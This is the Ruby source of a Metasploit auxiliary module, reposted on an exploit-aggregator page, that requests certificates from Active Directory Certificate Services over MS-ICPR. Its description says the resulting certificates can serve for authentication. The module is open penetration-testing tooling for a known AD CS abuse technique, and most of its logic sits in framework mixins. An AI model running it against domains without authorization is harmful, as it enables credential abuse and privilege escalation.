Exploit for ICPR Certificate Management

## https://sploitus.com/exploit?id=MSF:AUXILIARY-ADMIN-DCERPC-ICPR_CERT-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'ruby_smb/dcerpc/client'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::MsIcpr
  include Msf::Exploit::Remote::SMB::Client::Authenticated
  include Msf::Exploit::Remote::DCERPC
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ICPR Certificate Management',
        'Description' => %q{
          Request certificates via MS-ICPR (Active Directory Certificate Services). Depending on the certificate
          template's configuration the resulting certificate can be used for various operations such as authentication.
          PFX certificate files that are saved are encrypted with a blank password.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Will Schroeder', # original idea/research
          'Lee Christensen', # original idea/research
          'Oliver Lyak', # certipy implementation
          'Spencer McIntyre'
        ],
        'References' => [
          [ 'URL', 'https://github.com/GhostPack/Certify' ],
          [ 'URL', 'https://github.com/ly4k/Certipy' ]
        ],
        'Notes' => {
          'Reliability' => [],
          'Stability' => [],
          'SideEffects' => [ IOC_IN_LOGS ],
          'AKA' => [ 'Certifry', 'Certipy' ]
        },
        'Actions' => [
          [ 'REQUEST_CERT', { 'Description' => 'Request a certificate' } ]
        ],
        'DefaultAction' => 'REQUEST_CERT'
      )
    )
  end

  def run
    send("action_#{action.name.downcase}")
  rescue MsIcprConnectionError => e
    fail_with(Failure::Unreachable, e.message)
  rescue MsIcprAuthenticationError => e
    fail_with(Failure::NoAccess, e.message)
  rescue MsIcprNotFoundError => e
    fail_with(Failure::NotFound, e.message)
  rescue MsIcprUnexpectedReplyError => e
    fail_with(Failure::UnexpectedReply, e.message)
  rescue MsIcprUnknownError => e
    fail_with(Failure::Unknown, e.message)
  end

  def action_request_cert
    request_certificate
  end

end